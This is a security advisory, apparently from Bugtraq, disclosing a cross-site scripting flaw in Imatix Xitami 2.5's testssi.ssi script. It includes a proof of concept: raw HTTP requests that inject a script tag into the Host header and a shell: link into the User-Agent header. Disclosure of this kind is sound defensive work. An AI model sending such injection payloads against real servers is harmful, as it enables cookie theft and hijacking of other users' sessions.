Imatix Xitami Server Side Includes Cross-Site Scripting Vulnerability

Bugtraq ID:	10778
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 22 2004 12:00AM
Updated:	Jul 22 2004 12:00AM
Credit:	Discovery of this issue is credited to Oliver Karow <[email protected]>
Vulnerable:	Imatix Xitami 2.5 c1 Imatix Xitami 2.5 c0
Not Vulnerable:

Imatix Xitami Server Side Includes Cross-Site Scripting Vulnerability

It is reported that Imatix Xitami is affected by a cross-site scripting vulnerability in the server side includes test script. This issue is due to a failure of the application to properly sanitize user-supplied input.

Successful exploitation of this issue will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user. This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users.

Imatix Xitami Server Side Includes Cross-Site Scripting Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

Telnet (dont netcat!) to port 80:

GET /testssi.ssi HTTP/1.1
Host: localhost
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close

GET /testssi.ssi HTTP/1.1
Host: <script>alert("Please click at \"PLEASE CLICK HERE\"")</script>
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close

Imatix Xitami Server Side Includes Cross-Site Scripting Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Imatix Xitami Server Side Includes Cross-Site Scripting Vulnerability

References:

• Xitami Homepage (iMatix)
  
• Xitami Imatix testssi.ssi User-Agent XSS (Oliver Karow)